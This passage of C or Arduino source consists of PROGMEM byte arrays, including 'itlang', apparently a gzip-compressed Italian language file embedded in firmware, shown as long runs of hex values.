0xc1, 0x96, 0x66, 0x9e, 0x68, 0x23, 0x38, 0x0e, 0xf2, 0x1c, 0x8c, 0x94, 0x2a, 0x9b, 0x3b, 0x11, 0xc0, 0x8b, 0x3b, 0xd1, 0x7e, 0x5b, 0x8b, 0x26, 0x0b, 0x65, 0x8c, 0xd6, 0xe5, 0x49, 0x27, 0xc6, 0x6f, 0x2a, 0x18, 0xb6, 0x8d, 0x5f, 0x82, 0x34, 0x81, 0x1e, 0xca, 0x28, 0x36, 0x95, 0x21, 0x28, 0x48, 0x02, 0xb1, 0xce, 0xbb, 0xc1, 0x47, 0x6f, 0xa9, 0x33, 0x47, 0x88, 0x39, 0xb2, 0x78, 0x6f, 0x1b, 0xd9, 0xac, 0x36, 0x75, 0x63, 0x1c, 0x7d, 0x67, 0x23, 0xbe, 0xb1, 0xad, 0x3c, 0x87, 0xc9, 0x28, 0x81, 0x2f, 0x63, 0x26, 0xcb, 0x92, 0xad, 0x68, 0x20, 0x0b, 0x98, 0x0e, 0x00, 0x0e, 0xdc, 0x5a, 0x29, 0xa6, 0xcf, 0xee, 0x6c, 0x66, 0xab, 0xc0, 0x25, 0x19, 0x13, 0x5a, 0x69, 0x03, 0x3e, 0x66, 0x5d, 0x5e, 0x62, 0x35, 0x03, 0x92, 0xb1, 0x32, 0x1c, 0x76, 0x12, 0x9d, 0x12, 0x36, 0x66, 0x17, 0xac, 0x18, 0xba, 0xb7, 0x1e, 0x88, 0x40, 0x7e, 0xc9, 0xd3, 0x97, 0x0f, 0xbb, 0x39, 0x0e, 0x7a, 0x3f, 0x45, 0x66, 0xdb, 0xb0, 0x4b, 0xe0, 0x39, 0xc9, 0xf4, 0x14, 0xfd, 0x22, 0x43, 0xdd, 0x94, 0x58, 0x8d, 0x20, 0x00, 0x9b, 0xd4, 0x14, 0x05, 0x2e, 0x19, 0x57, 0x05, 0x97, 0xd8, 0x4d, 0x33, 0xa7, 0xe7, 0x31, 0x65, 0xd2, 0x70, 0x29, 0x03, 0xd6, 0xae, 0x61, 0xd5, 0xd1, 0xd2, 0x2b, 0xc7, 0x5f, 0x9d, 0xe4, 0x3e, 0xf7, 0x76, 0xe3, 0x1c, 0x63, 0x30, 0xb3, 0x8b, 0x9a, 0x9d, 0xb3, 0x4d, 0x09, 0x39, 0xba, 0x73, 0x20, 0xb3, 0x93, 0x3d, 0x93, 0xf9, 0x48, 0x69, 0xa9, 0x27, 0xb1, 0x4c, 0x5a, 0x0b, 0x12, 0xeb, 0xa2, 0xa7, 0x73, 0xa9, 0x70, 0xc2, 0xf5, 0x14, 0xe1, 0xc8, 0x4e, 0xb5, 0xc3, 0x03, 0x70, 0x5e, 0xe3, 0x96, 0x11, 0xec, 0x39, 0x01, 0x8e, 0x39, 0xb7, 0x7f, 0x44, 0xcf, 0xb5, 0xe9, 0x54, 0x74, 0xec, 0x30, 0xea, 0xb6, 0xa4, 0x1b, 0xce, 0x6b, 0x13, 0x07, 0x8f, 0x37, 0xf1, 0xa3, 0x07, 0x5f, 0x84, 0x48, 0x8c, 0x89, 0xa3, 0x27, 0x23, 0x75, 0xfb, 0x78, 0x74, 0x18, 0x07, 0x3c, 0xdf, 0xeb, 0x56, 0xb1, 0x9f, 0x73, 0xfd, 0x00, 0x8f, 0xfe, 0xd6, 0xe2, 0x61, 0xc1, 0xf8, 0x75, 0xcb, 0x4e, 0xe7, 0x8e, 0x13, 0x72, 0x87, 0xe9, 0x9d, 0xc6, 0x1c, 0xea, 0x40, 0xa5, 0x11, 0x04, 0xc6, 0x7b, 0x35, 0x2e, 0xc0, 0xfd, 0xfd, 0xf0, 0xa2, 0x41, 0x25, 0xf8, 0x41, 0x4e, 0x61, 0xb5, 0x1d, 0x3d, 0x7b, 0x35, 0xf2, 0x68, 0xcd, 0xf3, 0x2c, 0x5a, 0xac, 0xb9, 0xe5, 0xc9, 0xfa, 0xab, 0x34, 0x79, 0xbe, 0xc4, 0x91, 0x48, 0x5d, 0xa9, 0xc5, 0xbb, 0x35, 0x23, 0x20, 0xec, 0x3f, 0x92, 0x7a, 0xfb, 0xe6, 0x68, 0x4b, 0xa4, 0x3c, 0x9c, 0xd1, 0xd7, 0x66, 0x05, 0x5f, 0xae, 0x1b, 0x27, 0x14, 0xfc, 0x22, 0x7e, 0x0e, 0xf7, 0x95, 0x8a, 0xba, 0xfc, 0x61, 0x3d, 0xbe, 0xff, 0xdf, 0x7a, 0x74, 0xc6, 0xa2, 0x2d, 0xc2, 0x49, 0x6a, 0x45, 0x00, 0x91, 0xdb, 0x84, 0x2e, 0x71, 0x9a, 0x27, 0x27, 0x31, 0x0d, 0xea, 0x4b, 0x5a, 0x98, 0x92, 0xc7, 0xbf, 0x14, 0xcc, 0x40, 0x05, 0xe6, 0xde, 0xae, 0x31, 0xbf, 0xc7, 0x96, 0xbe, 0x6a, 0x7a, 0x85, 0x17, 0x74, 0x01, 0xcf, 0xc4, 0xf1, 0x62, 0x9c, 0x17, 0xaa, 0xa7, 0xf1, 0xd5, 0x30, 0xbe, 0xfb, 0xbf, 0x25, 0x73, 0xbf, 0xca, 0x43, 0xd3, 0x4e, 0x68, 0xa7, 0x8b, 0x31, 0x9b, 0xdf, 0xf2, 0xdb, 0x5c, 0x27, 0x48, 0x91, 0xdc, 0x23, 0xd8, 0xad, 0x3d, 0xfa, 0xf4, 0xb0, 0xfc, 0x3c, 0xc5, 0xf5, 0xe6, 0xa2, 0xa8, 0xed, 0xe7, 0x0e, 0x43, 0xd1, 0xbc, 0x32, 0xe8, 0xbb, 0x9e, 0x50, 0x4b, 0xf7, 0x72, 0x18, 0xfd, 0x7e, 0x55, 0xe9, 0x7f, 0xf4, 0xf5, 0x3e, 0x8e, 0x0f, 0x87, 0x67, 0xd9, 0xfa, 0x07, 0xf7, 0x5c, 0x41, 0x97, 0xa6, 0x0d, 0x59, 0x1d, 0x3e, 0x68, 0x92, 0xce, 0xd8, 0x91, 0x6c, 0x24, 0x7d, 0x92, 0xd6, 0xeb, 0xe9, 0x9d, 0x29, 0x6a, 0xa0, 0xc4, 0xb3, 0xc6, 0x8a, 0x6f, 0x91, 0x7c, 0xef, 0x80, 0x45, 0xe8, 0xc8, 0x49, 0x1b, 0xee, 0xd9, 0xb0, 0x27, 0x1d, 0x06, 0x8f, 0x41, 0x8b, 0x78, 0x35, 0xc6, 0x98, 0x70, 0xb8, 0x57, 0x91, 0xc2, 0xcc, 0xba, 0xc6, 0x50, 0x66, 0x6b, 0x3b, 0x5b, 0xe2, 0x4d, 0x99, 0x90, 0xee, 0x7a, 0x35, 0x6b, 0x78, 0xe8, 0x66, 0x71, 0x86, 0x71, 0x62, 0x17, 0x60, 0x06, 0xc0, 0x0a, 0x65, 0x04, 0xe6, 0xfe, 0xc0, 0x11, 0x27, 0xc5, 0x42, 0xa8, 0xef, 0x89, 0xc3, 0xa4, 0x38, 0x0d, 0x8a, 0xbf, 0xc7, 0x30, 0xfc, 0xcc, 0x23, 0xd0, 0x39, 0xcc, 0x77, 0xd2, 0x02, 0x85, 0xa5, 0x4a, 0x83, 0xe0, 0x8d, 0x8c, 0xff, 0x1d, 0x7e, 0xd2, 0x57, 0x7e, 0x4d, 0xd3, 0x7e, 0x18, 0xba, 0xf9, 0x77, 0x6f, 0xe9, 0x64, 0x65, 0x66, 0x33, 0xdf, 0xdf, 0x30, 0xb9, 0x38, 0x3b, 0x3d, 0x9d, 0xa4, 0x74, 0xe0, 0xa3, 0x20, 0x61, 0x78, 0x0c, 0x2e, 0x6f, 0xf6, 0xc3, 0x5e, 0xc5, 0x51, 0x7d, 0xb7, 0xf5, 0xd1, 0xe5, 0xb3, 0x27, 0xc3, 0xaf, 0x30, 0xf1, 0xf6, 0xd7, 0xd5, 0xfa, 0x7d, 0xb1, 0xe0, 0x95, 0xaf, 0xf4, 0xfb, 0x51, 0xa2, 0x00, 0x7c, 0x27, 0xca, 0x13, 0xa9, 0x95, 0x76, 0xf2, 0x7a, 0xa2, 0xfe, 0xaa, 0x8e, 0x8e, 0x06, 0xea, 0xe4, 0x35, 0x7f, 0xf8, 0x66, 0xa0, 0x9e, 0xeb, 0x95, 0xb6, 0xfc, 0xf9, 0xcf, 0xfb, 0xb2, 0x8a, 0xf1, 0x85, 0xc8, 0x1a, 0x3f, 0x1d, 0x8e, 0x4b, 0xc7, 0xb7, 0x4e, 0xe9, 0x2e, 0xac, 0x53, 0xd4, 0xcc, 0x1c, 0x5b, 0x2f, 0x7d, 0x8a, 0x3b, 0x34, 0xed, 0x9a, 0x84, 0xca, 0x7b, 0x18, 0xa7, 0x35, 0x6a, 0x24, 0x5d, 0x5f, 0x4a, 0x28, 0x25, 0x87, 0xb8, 0xae, 0xee, 0xcb, 0xea, 0xc4, 0x14, 0x5d, 0xe8, 0x9e, 0x4e, 0x93, 0xf0, 0xa0, 0x4e, 0x79, 0xf6, 0xfe, 0x43, 0xea, 0x0c, 0x76, 0xfa, 0xf4, 0xe4, 0xfc, 0x96, 0x2a, 0x90, 0x9e, 0xaf, 0x68, 0xf2, 0xd5, 0xcc, 0xbd, 0xda, 0xed, 0xde, 0xda, 0x49, 0x30, 0xb8, 0xc7, 0x60, 0x10, 0x96, 0x98, 0x80, 0xc4, 0xf1, 0x6d, 0xa1, 0x40, 0x6a, 0xa2, 0x69, 0xc9, 0x39, 0x8f, 0x58, 0x45, 0xd1, 0xe8, 0x69, 0x04, 0xe7, 0xe1, 0x8f, 0xcd, 0x6a, 0x85, 0x43, 0xfb, 0xfa, 0xec, 0x61, 0x5a, 0x6d, 0x6c, 0x24, 0xc6, 0x92, 0x65, 0xaf, 0x30, 0xe2, 0xd5, 0x1a, 0x39, 0x15, 0xaf, 0x5d, 0x60, 0xf1, 0x67, 0x69, 0x73, 0x84, 0xf7, 0x98, 0x21, 0x42, 0x53, 0x58, 0x73, 0xa4, 0x56, 0xf2, 0x01, 0x0a, 0x2b, 0x76, 0xd5, 0x7d, 0x8c, 0x13, 0x06, 0x10, 0x76, 0xa8, 0xc2, 0x55, 0x04, 0x03, 0x48, 0xe8, 0xf4, 0x0e, 0x5b, 0xc4, 0xf7, 0x89, 0x2d, 0x74, 0x31, 0x85, 0x6f, 0xac, 0x61, 0x56, 0xea, 0x24, 0xd7, 0x76, 0xd2, 0x03, 0x8a, 0x34, 0xdf, 0x22, 0x5e, 0xa7, 0xad, 0x5d, 0xb2, 0xba, 0x91, 0xde, 0xef, 0x70, 0xa6, 0xaf, 0xcd, 0xac, 0x71, 0x05, 0xad, 0xf8, 0x90, 0x78, 0xaf, 0xf4, 0x16, 0xa7, 0x36, 0xb3, 0x20, 0xd4, 0xb9, 0xe5, 0xca, 0x4e, 0x1c, 0x0d, 0xbc, 0xb2, 0x12, 0xd6, 0x2d, 0xc4, 0x32, 0xd1, 0x26, 0xa1, 0x68, 0x5c, 0x1d, 0x71, 0x60, 0x4d, 0x64, 0x0b, 0xb3, 0x08, 0x7b, 0x1a, 0x8a, 0xac, 0x65, 0x22, 0x4a, 0xf7, 0xae, 0xfd, 0x91, 0x9b, 0x40, 0xb8, 0xa4, 0xb5, 0x8a, 0x05, 0x46, 0xbd, 0x69, 0x1c, 0x4f, 0xc4, 0x98, 0xa3, 0x07, 0x49, 0xff, 0x7b, 0xbc, 0xa5, 0xc3, 0xd8, 0xf9, 0xb7, 0x21, 0xe0, 0xc5, 0xc8, 0xbb, 0x44, 0x8b, 0xd1, 0xcb, 0xe5, 0xcb, 0x7b, 0x0e, 0x5e, 0x3c, 0x9f, 0xa9, 0xd8, 0xe3, 0x6f, 0xbf, 0xed, 0xc3, 0x5a, 0x9c, 0xa8, 0xfc, 0x0a, 0x0b, 0xe4, 0x2e, 0x2d, 0x9b, 0x1c, 0x27, 0x99, 0x7b, 0x91, 0x96, 0x7e, 0x05, 0x60, 0x47, 0x2d, 0x34, 0x85, 0xe9, 0x45, 0x7f, 0x8b, 0x82, 0xe9, 0x0a, 0x23, 0xbb, 0xa3, 0xe7, 0xb1, 0x7b, 0x6d, 0x48, 0x0e, 0xb8, 0x24, 0xed, 0x23, 0x7b, 0x63, 0xa5, 0xe3, 0xb7, 0xe1, 0x53, 0x66, 0x62, 0x92, 0x52, 0x6f, 0xb2, 0x63, 0xa5, 0xb0, 0xd2, 0x35, 0x4a, 0x1a, 0x1a, 0x24, 0xcb, 0xea, 0x78, 0x22, 0xbc, 0xe8, 0x99, 0xec, 0x0e, 0xf8, 0x6a, 0x2f, 0x5d, 0x6b, 0x74, 0x86, 0x42, 0x58, 0x87, 0x68, 0xdb, 0x87, 0x18, 0x47, 0x9c, 0x4b, 0x3a, 0x0c, 0xe6, 0x6d, 0xaf, 0xe9, 0x73, 0xf3, 0x11, 0x4b, 0xfa, 0x03, 0xcb, 0xe7, 0x27, 0xaa, 0x87, 0xa4, 0x9f, 0x75, 0xae, 0x37, 0xf7, 0xc5, 0xef, 0x7c, 0xf5, 0x73, 0xba, 0x47, 0xe3, 0xcc, 0xea, 0x9f, 0x26, 0x0d, 0x26, 0x15, 0xc3, 0x48, 0x4d, 0x1a, 0x1e, 0x40, 0x04, 0xec, 0x8f, 0x0e, 0x0f, 0x6b, 0x46, 0x2a, 0xe4, 0x07, 0xdf, 0x49, 0x7e, 0xdc, 0xfc, 0x2a, 0x17, 0x12, 0xbb, 0xa1, 0x7a, 0x8a, 0x9d, 0x2d, 0x8f, 0x96, 0x32, 0x97, 0x01, 0x98, 0xa6, 0xa6, 0x32, 0x81, 0xd3, 0x46, 0xae, 0x41, 0x89, 0xef, 0x70, 0x5c, 0xcc, 0xc6, 0xe1, 0x64, 0xa5, 0x6b, 0x00, 0x00, 0x92, 0x4e, 0x73, 0x03, 0x83, 0x1c, 0x19, 0xe0, 0x70, 0x7e, 0x25, 0xbc, 0x90, 0xf9, 0x6c, 0xcb, 0xf4, 0x82, 0xef, 0xf8, 0xfa, 0x33, 0x4a, 0x6f, 0x1c, 0x02, 0x9a, 0x9a, 0xfb, 0xac, 0x23, 0xde, 0x1f, 0x5c, 0xfd, 0xbd, 0xdf, 0x83, 0xba, 0x37, 0x04, 0xec, 0x85, 0x8a, 0x7f, 0xbd, 0xc1, 0x11, 0x9b, 0x75, 0xee, 0xbd, 0x72, 0xbc, 0xf3, 0xed, 0x97, 0xca, 0x43, 0xd3, 0x1e, 0x1b, 0xe6, 0x77, 0xfe, 0x82, 0x1c, 0x7b, 0xb1, 0x9f, 0xcc, 0xfd, 0x6d, 0x0a, 0x2b, 0xa3, 0xab, 0x7f, 0x57, 0xa2, 0xe6, 0x5f, 0x37, 0x66, 0x6a, 0xeb, 0x57, 0x8e, 0x0b, 0xed, 0x3e, 0x61, 0x4c, 0xe5, 0x1b, 0x6f, 0xb3, 0x52, 0xd7, 0x90, 0xaa, 0x5f, 0x09, 0xa9, 0xe0, 0x18, 0xca, 0xd6, 0x92, 0xdb, 0xb3, 0xa2, 0xf7, 0xfc, 0x9b, 0x1c, 0x38, 0xe1, 0xcb, 0x83, 0x2f, 0xfe, 0xf5, 0xc5, 0x7f, 0x01, 0xd5, 0x69, 0x53, 0xa7, 0xdb, 0x1c, 0x00, 0x00};\nconst char itlang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb5, 0x3c, 0x14, 0x60, 0x02, 0xff, 0x69, 0x74, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0xad, 0x59, 0x4d, 0x73, 0x1b, 0xb9, 0x11, 0x3d, 0x67, 0x7f, 0x05, 0xac, 0x8b, 0xec, 0x2a, 0x5a, 0x2b, 0xc9, 0xd9, 0x2d, 0x67, 0xab, 0x72, 0x50, 0x2c, 0x39, 0xab, 0x8d, 0x2d, 0x29, 0xa6, 0x77, 0x9d, 0x83, 0xab, 0x54, 0xe0, 0x0c, 0x48, 0x22, 0xc1, 0x00, 0x63, 0x60, 0x86, 0xda, 0x28, 0x95, 0x7b, 0x7e, 0x46, 0x8e, 0xc9, 0x35, 0xb7, 0x9c, 0xf5, 0xc7, 0xf2, 0xba, 0x1b, 0x18, 0x0e, 0x47, 0x92, 0x77, 0x53, 0xc9, 0x89, 0x24, 0x3e, 0xba, 0x1b, 0x8d, 0xee, 0xd7, 0xaf, 0xc1, 0xbf, 0x7c, 0xa1, 0xd4, 0x9e, 0xd3, 0x7e, 0xb5, 0xf7, 0x8d, 0xda, 0xb3, 0xdd, 0xde, 0x8c, 0x7e, 0xdf, 0xe8, 0xe8, 0xad, 0x0c, 0x9d, 0xfc, 0xf0, 0xc3, 0xd9, 0xbb, 0xf7, 0xe7, 0x6f, 0xcf, 0x2e, 0xde, 0x5f, 0x62, 0xf2, 0x17, 0x7b, 0xb5, 0x4d, 0x95, 0xd3, 0xb6, 0x31, 0x91, 0xa6, 0x7f, 0xdf, 0x9b, 0xd4, 0x05, 0xd5, 0xc6, 0xb0, 0x32, 0x1d, 0xbe, 0xdc, 0xfd, 0x43, 0xf5, 0x5e, 0xd3, 0xef, 0x8d, 0x56, 0xb5, 0x55, 0x55, 0xf0, 0x15, 0x4f, 0xb4, 0x26, 0xaa, 0x54, 0x85, 0xd6, 0xd2, 0x68, 0x87, 0x4d, 0xca, 0xe0, 0x5b, 0xad, 0xbb, 0xce, 0x56, 0xf6, 0x40, 0x7d, 0xf4, 0x17, 0xd8, 0xea, 0xf6, 0xcf, 0xe6, 0x57, 0x2f, 0x8f, 0xbf, 0xfe, 0x7a, 0xa6, 0xfc, 0xdd, 0x3f, 0x95, 0x75, 0x2a, 0x1a, 0xa7, 0x3b, 0xbb, 0x09, 0x6a, 0x7e, 0xfa, 0x3b, 0x95, 0x82, 0x0f, 0x2a, 0x75, 0x18, 0x28, 0x0a, 0xe9, 0x6b, 0x80, 0x92, 0xd4, 0xc5, 0xde, 0xd2, 0x30, 0xb4, 0x74, 0xda, 0x59, 0x51, 0x45, 0x62, 0x3f, 0xfa, 0xef, 0x3b, 0xeb, 0xec, 0xed, 0xad, 0x56, 0x56, 0x2d, 0xa3, 0x6e, 0x8c, 0xfa, 0x60, 0x9f, 0xbf, 0xb6, 0x6a, 0x83, 0x65, 0x30, 0xa5, 0x36, 0xa9, 0x8a, 0x16, 0x56, 0x28, 0x6f, 0x9c, 0x63, 0xf1, 0xbe, 0xd6, 0xb1, 0x56, 0xe7, 0x67, 0x67, 0x67, 0xea, 0xe5, 0xe1, 0xf1, 0xc1, 0xd1, 0x11, 0x4c, 0xf5, 0xc1, 0xab, 0x85, 0x0b, 0x55, 0xa5, 0xa3, 0x81, 0x46, 0xeb, 0x3b, 0x13, 0x63, 0x68, 0xa0, 0xcf, 0x28, 0xed, 0x2a, 0x3a, 0xf3, 0x32, 0x9a, 0x4f, 0xbd, 0xf1, 0xb7, 0x9a, 0xd4, 0xce, 0xc9, 0x44, 0xb3, 0x62, 0x1f, 0x6c, 0x4c, 0xb4, 0x4b, 0xcb, 0x3b, 0x1d, 0x49, 0x8a, 0x0d, 0x1d, 0x89, 0x7e, 0xac, 0xc8, 0xd4, 0xda, 0x38, 0x3a, 0x4e, 0x1b, 0x2d, 0xbc, 0xa4, 0x4d, 0x32, 0xf8, 0x65, 0x1b, 0xde, 0xd9, 0x67, 0xd3, 0xa3, 0x0b, 0x72, 0x96, 0xb1, 0x58, 0x32, 0x69, 0x49, 0x42, 0x21, 0x1d, 0x1a, 0x1a, 0xe3, 0xe1, 0x66, 0xad, 0x3e, 0x4d, 0x6e, 0xa4, 0x0a, 0x38, 0xf2, 0xc7, 0xbd, 0x3f, 0xea, 0x06, 0x57, 0xf6, 0x71, 0x6f, 0x56, 0x16, 0x34, 0x16, 0x36, 0x77, 0x01, 0xde, 0xa2, 0x9d, 0x86, 0x9c, 0x0d, 0x43, 0x03, 0x7b, 0x2e, 0x90, 0xfc, 0x89, 0xa0, 0x27, 0xd0, 0x0e, 0x9b, 0x03, 0x74, 0xda, 0x19, 0xe6, 0x1b, 0x72, 0x3a, 0x1c, 0x1d, 0x30, 0x54, 0xad, 0xc5, 0x43, 0x6b, 0x8d, 0x1b, 0xd7, 0xad, 0xc5, 0x36, 0xdf, 0x3b, 0x27, 0x11, 0x60, 0xef, 0xfe, 0xc5, 0x0b, 0xa6, 0x86, 0x45, 0xdd, 0xe2, 0x2c, 0x09, 0xca, 0xd9, 0x63, 0x57, 0xfd, 0x62, 0xe1, 0xc4, 0x4b, 0x30, 0x05, 0x71, 0xd3, 0x19, 0xdf, 0x63, 0x59, 0x22, 0x97, 0x72, 0x50, 0xa5, 0xd6, 0xe2, 0xe8, 0xb7, 0x36, 0x78, 0xf8, 0xbc, 0x36, 0xab, 0x5e, 0x77, 0xba, 0x18, 0xa2, 0x59, 0x85, 0x58, 0x27, 0x36, 0x51, 0x28, 0x54, 0x10, 0x38, 0xc3, 0x10, 0xbc, 0x69, 0xbe, 0xc4, 0xa1, 0x8c, 0xd7, 0x38, 0x61, 0xb1, 0x55, 0x2e, 0x0e, 0xee, 0x4b, 0xed, 0x10, 0xa2, 0x4e, 0xe7, 0xbb, 0x30, 0xdd, 0xdd, 0xdf, 0xf9, 0x9a, 0x9d, 0xc3, 0x64, 0xaf, 0x9d, 0x99, 0xd1, 0x24, 0xbc, 0xd9, 0x7b, 0x4b, 0x73, 0x35, 0x96, 0x44, 0x76, 0x94, 0x49, 0x89, 0x84, 0x62, 0xd6, 0x05, 0x84, 0x24, 0xcb, 0x81, 0xdc, 0xc6, 0xae, 0x9c, 0x0d, 0x38, 0xce, 0x10, 0x52, 0x1f, 0xec, 0xeb, 0x1c, 0x93, 0x57, 0x58, 0xd2, 0xe8, 0xd5, 0x0a, 0xf3, 0x16, 0x5a, 0x96, 0x14, 0x13, 0x74, 0x30, 0x04, 0x8b, 0x4d, 0xb6, 0xd3, 0xdf, 0x4c, 0x52, 0xed, 0xf9, 0xa2, 0x87, 0x85, 0x9e, 0x32, 0xee, 0xdb, 0xa0, 0x1c, 0x9b, 0x6b, 0x8a, 0xab, 0xdd, 0xbe, 0xde, 0x60, 0x1b, 0xdb, 0x52, 0xf5, 0x74, 0xfc, 0x36, 0x6a, 0x16, 0x80, 0xec, 0x09, 0xba, 0xa6, 0x5d, 0xef, 0xc8, 0xb3, 0xec, 0x5d, 0x9e, 0x48, 0x95, 0x66, 0x61, 0xf4, 0x99, 0xc8, 0xa1, 0x32, 0x9a, 0x6c, 0x9d, 0x68, 0x78, 0x3e, 0x3f, 0x3f, 0x4d, 0x3c, 0x84, 0xfc, 0xd4, 0xd5, 0x9f, 0x78, 0xf0, 0x84, 0xbe, 0x56, 0x6b, 0x2b, 0x4b, 0x61, 0x02, 0x10, 0x82, 0x27, 0xce, 0x9b, 0x16, 0x57, 0x20, 0xf6, 0xf3, 0x24, 0x1d, 0x88, 0x27, 0x46, 0x07, 0x1b, 0x26, 0xae, 0x53, 0x2b, 0xba, 0xcf, 0x2f, 0x5e, 0x5f, 0xe2, 0x83, 0xb5, 0x38, 0x47, 0x23, 0xef, 0x71, 0x48, 0x59, 0x58, 0xad, 0xb5, 0x47, 0x3e, 0xd2, 0xe0, 0x2b, 0xed, 0xe1, 0x7c, 0xf1, 0x87, 0xd9, 0xd8, 0xca, 0xb0, 0xce, 0x53, 0x5c, 0x5a, 0x80, 0xa7, 0xec, 0x06, 0xe7, 0xd5, 0x6e, 0xa3, 0xbb, 0x62, 0x97, 0x33, 0x55, 0x77, 0x9d, 0x05, 0xce, 0xf1, 0x8b, 0xb4, 0x6b, 0x45, 0xa2, 0x43, 0x16, 0xb2, 0xbb, 0xe6, 0x94, 0x7f, 0x4f, 0x57, 0x45, 0xd3, 0x84, 0x8d, 0x29, 0x6b, 0xde, 0xd9, 0xa6, 0x0f, 0xd0, 0xb4, 0x9d, 0x67, 0x14, 0x0a, 0xfe, 0x9a, 0x1c, 0x78, 0xdd, 0xe1, 0x8a, 0xd8, 0x7e, 0xd3, 0x48, 0xea, 0x0c, 0x6e, 0xa5, 0xe4, 0x46, 0x5c, 0x64, 0xef, 0xc8, 0x29, 0xbc, 0xb9, 0xa1, 0xc5, 0x17, 0x90, 0x98, 0x65, 0xe9, 0x0d, 0x6f, 0x9f, 0xd3, 0x39, 0xf2, 0x05, 0xe9, 0xba, 0x16, 0x0f, 0x26, 0xa4, 0x76, 0xaa, 0x6c, 0x19, 0xbc, 0x16, 0xe3, 0x0d, 0xcf, 0xbe, 0x72, 0x64, 0x34, 0xa2, 0x4c, 0x9d, 0x5c, 0x25, 0x35, 0x1c, 0x23, 0xbb, 0x02, 0xf6, 0xc7, 0x1b, 0x40, 0x9b, 0xc8, 0x0e, 0x9b, 0xa8, 0x09, 0xe9, 0x30, 0x28, 0x1a, 0xc8, 0xe8, 0x6b, 0xc6, 0x31, 0x20, 0xa1, 0xe8, 0x92, 0xef, 0x2e, 0x08, 0x44, 0xe3, 0x2c, 0x62, 0x6f, 0xdf, 0x2c, 0x04, 0xec, 0x2f, 0x7a, 0x84, 0xa2, 0x0c, 0x76, 0x3a, 0x22, 0x8b, 0xf9, 0x2a, 0x2e, 0x17, 0x96, 0x82, 0x61, 0x63, 0x87, 0xc8, 0xba, 0x2e, 0x01, 0xf0, 0x5c, 0xbd, 0x26, 0x44, 0x40, 0x16, 0xaa, 0xd4, 0xab, 0xf9, 0xe0, 0x15, 0xe4, 0x6f, 0x87, 0xf4, 0x86, 0x9a, 0xa5, 0xf5, 0x02, 0x5a, 0x48, 0x91, 0x40, 0x89, 0xff, 0xe6, 0xec, 0x14, 0x40, 0xdb, 0x63, 0x3d, 0x3b, 0x0e, 0x59, 0x5d, 0xe3, 0x03, 0x2e, 0x6d, 0xcd, 0x0a, 0x3b, 0x9f, 0x92, 0x71, 0x1b, 0xc2, 0x0c, 0x42, 0xab, 0xda, 0x3c, 0x23, 0x3c, 0xb3, 0x2c, 0x69, 0xa4, 0xa9, 0x44, 0xfb, 0xc1, 0x47, 0xff, 0x5c, 0xbd, 0xd9, 0xe7, 0x53, 0x2e, 0x11, 0xbc, 0x56, 0xab, 0x1b, 0xb3, 0xe0, 0xf4, 0x4f, 0x3a, 0x72, 0x12, 0x23, 0x8c, 0xbc, 0x5d, 0x58, 0x00, 0x73, 0xdd, 0x47, 0x4d, 0x40, 0xc8, 0x6a, 0x87, 0xfb, 0xb3, 0x02, 0x3d, 0xf9, 0x02, 0xa9, 0x68, 0x91, 0x27, 0x2d, 0x50, 0x03, 0x10, 0xe5, 0x71, 0x70, 0x13, 0x3b, 0xfb, 0x84, 0xf4, 0x6c, 0x83, 0x8d, 0xf1, 0x07, 0x08, 0x10, 0xb2, 0x67, 0x08, 0x3b, 0xb7, 0x09, 0x36, 0xf2, 0x4e, 0xae, 0x9e, 0xd8, 0xe8, 0x2b, 0x94, 0x38, 0x64, 0x1d, 0xf2, 0xdf, 0x40, 0x4d, 0x01, 0xfe, 0x82, 0x4a, 0xfb, 0x9c, 0x87, 0x58, 0xb3, 0x30, 0x1a, 0x7a, 0x15, 0xd5, 0x88, 0xb0, 0x30, 0x7c, 0xbe, 0xcb, 0x15, 0x60, 0x83, 0xf7, 0xb6, 0x3d, 0x41, 0x2d, 0x23, 0x27, 0xd5, 0xa5, 0xec, 0xdb, 0x17, 0xc7, 0x00, 0x8a, 0x48, 0x0e, 0x8f, 0x96, 0x37, 0x5c, 0x40, 0x40, 0xcd, 0xf5, 0x42, 0xe0, 0x96, 0x9d, 0x87, 0xcf, 0xe1, 0x9e, 0x28, 0x0e, 0xcb, 0x95, 0x10, 0xa4, 0x37, 0xa1, 0xe6, 0x02, 0xd6, 0xf1, 0xa9, 0x48, 0x15, 0xcb, 0x39, 0x45, 0x3a, 0xee, 0xee, 0x2c, 0x7e, 0x87, 0x93, 0x90, 0x08, 0x04, 0x97, 0x14, 0xa1, 0xe2, 0xb9, 0xbc, 0x6d, 0x84, 0x2a, 0x23, 0x47, 0x5c, 0x85, 0x0e, 0xa5, 0x40, 0x0a, 0x78, 0x4d, 0xb6, 0x33, 0xd4, 0xc2, 0xbf, 0x49, 0xae, 0x21, 0x1b, 0x43, 0x38, 0x47, 0x17, 0xa2, 0xb2, 0x3b, 0x9e, 0x0c, 0x66, 0x0c, 0xc1, 0x8f, 0xbd, 0x98, 0x47, 0xc0, 0x26, 0x4d, 0xf0, 0x3b, 0x71, 0x5f, 0x6d, 0x74, 0xdf, 0xad, 0xd9, 0xfa, 0x6f, 0x71, 0xb0, 0x05, 0x50, 0x73, 0xe5, 0x83, 0xdc, 0xb2, 0xf8, 0x50, 0xc0, 0xe4, 0x51, 0xb7, 0x6f, 0x87, 0xae, 0x86, 0x0b, 0x18, 0xc7, 0x78, 0x2c, 0x1e, 0xa0, 0xfd, 0x02, 0xf0, 0x6c, 0x93, 0xa3, 0x78, 0x05, 0x7f, 0x90, 0xd2, 0x41, 0x15, 0x9f, 0xb0, 0x94, 0x70, 0xbc, 0xf8, 0xa4, 0x20, 0xea, 0xc8, 0x2b, 0x27, 0x54, 0x9f, 0x50, 0x0e, 0x47, 0xf8, 0x4a, 0x0a, 0xd6, 0xd6, 0xd4, 0xc4, 0x84, 0xb8, 0x76, 0x91, 0x4b, 0xc2, 0x3d, 0x33, 0xe4, 0x0a, 0xd9, 0x06, 0x78, 0xb0, 0x42, 0x64, 0x23, 0x4a, 0xa5, 0x44, 0x9a, 0x72, 0x9d, 0xf8, 0x91, 0xac, 0xa6, 0x10, 0x69, 0x5b, 0x2a, 0xbc, 0x9d, 0x29, 0xa6, 0x30, 0x4c, 0xef, 0xf2, 0xbc, 0x73, 0x8f, 0x20, 0x92, 0x12, 0x43, 0xc4, 0x27, 0xb2, 0x55, 0x11, 0x9e, 0x47, 0xfc, 0xce, 0xb6, 0xa7, 0x46, 0x02, 0x27, 0x2b, 0xb5, 0x09, 0x61, 0x18, 0x03, 0xe5, 0x30, 0xc6, 